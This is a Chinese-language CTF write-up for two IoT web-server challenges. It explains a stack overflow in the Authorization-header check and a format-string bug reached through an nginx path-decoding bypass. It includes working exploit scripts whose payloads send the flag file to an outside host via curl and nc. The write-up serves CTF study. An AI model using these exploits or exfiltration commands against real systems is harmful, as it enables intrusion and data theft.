iot
easygetaway
分析
1 2 3 4 5 6 7 8 9 10 11 12 13
| """ start.sh """ #!/bin/sh
echo "fake_passwd" > /tmp/passwd ; chmod 777 /tmp/passwd
while true; do /home/ctf/qemu-arm-static -L /home/ctf/ /home/ctf/boa -f /home/ctf/boa.conf -c /home/ctf/html | su - ctf sleep 2 done # sleep infinity;
|
题目中自定义了一个函数用于验证Authorization
头的内容
在验证函数中首先取出Basic
后面的内容,进行base64
解密,然后放入sub_16698
中进行比较
在base64解密函数中,如果手动将结尾应有=
去掉,则会导致堆溢出,不过仅能溢出一两个字节,不过这种利用方式我不会
在比较函数中,使用sprintf
格式化了一个字符串,因为传入的a3
、a4
的长度没有限制,所以这里存在栈溢出漏洞,而且因为程序是32位程序
,不用担心构造payload
的时候出现00截断
导致payload
无法攻击成功
问题
那么还剩下一个问题,程序开启了PIE
保护
在经过我日思夜想,不断努力的思考下,发现使用qemu-user
启动程序时,即使程序开启了PIE
保护,但程序的基址依旧不会改变
也可能是我的环境有问题,如果你看到这里可以自己尝试一下
exp
假设上面qemu-user
启动程序时程序基址不变的条件成立,那么exp
如下
1 2 3 4 5 6 7 8 9 10 11
| import requests import base64 url='http://192.168.158.128:8088/' payload=(0x3ffffa0c.to_bytes(4,'little')+\ 0x400168a4.to_bytes(4,'little')+\ b'curl http://192.168.158.128:4444/`cat /flag` &&:').ljust(0x12c,b'a')+\ 0x3ffffa08.to_bytes(4,'little')+\ 0x40010C98.to_bytes(4,'little') requests.get(url,headers={"Authorization":b"Basic "+base64.b64encode(payload)})
|
成功^v^
hardgateway
分析
当使用GET方式访问时,会检测X-Forwarded-For
头是否为127.0.0.1,并检测访问的url是否为/cgi-bin/note_handler
之后会获取两个参数action
与content
,在处理content
参数的代码中c代码存在一定的误导性,snprintf
函数的定义为snprintf(char *dest,size_t size,char *format,...)
,所以传入的content
参数实际上是被用于格式化字符串了
因为程序没有开启PIE保护,经过逆向发现puts,system,strncpy
在进行格式化字符串时没有绑定,所以可以尝试将puts
对应got表项修改为system
,不过因为v14
变量的大小为0x90,且程序开启了Canary保护,所以无法通过响应包获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| location /cgi-bin/note_handler { internal; proxy_set_header X-Forwarded-For 127.0.0.1; proxy_pass http: } location /cgi-bin/ { if ($uri = "/cgi-bin/note_handler") { return 403; } expires +1h; limit_rate 10k; root /usr/share; fastcgi_pass unix:/var/run/fcgiwrap.socket; fastcgi_index /cgi-bin/http; include /etc/nginx/fastcgi_params; #fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root/cgi-bin/http; }
|
分析nginx的配置文件,无法直接访问/cgi-bin/note_handler
,但因为程序中对访问路径进行了再一次的url解码,所以可以使用/cgi-bin/%256eote_handler
进行绕过
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| a=b"""GET /cgi-bin/%256eote_handler?action=add,print&content=%192c(@@&content=%176c%34$hhn&content=nc 192.168.158.128 4444 < /flag; HTTP/1.1 Host: 192.168.158.128:8088 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Forwarded-For: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 """ import gzip import socket s=socket.socket() s.connect(("192.168.158.128",8088)) s.send(a)
|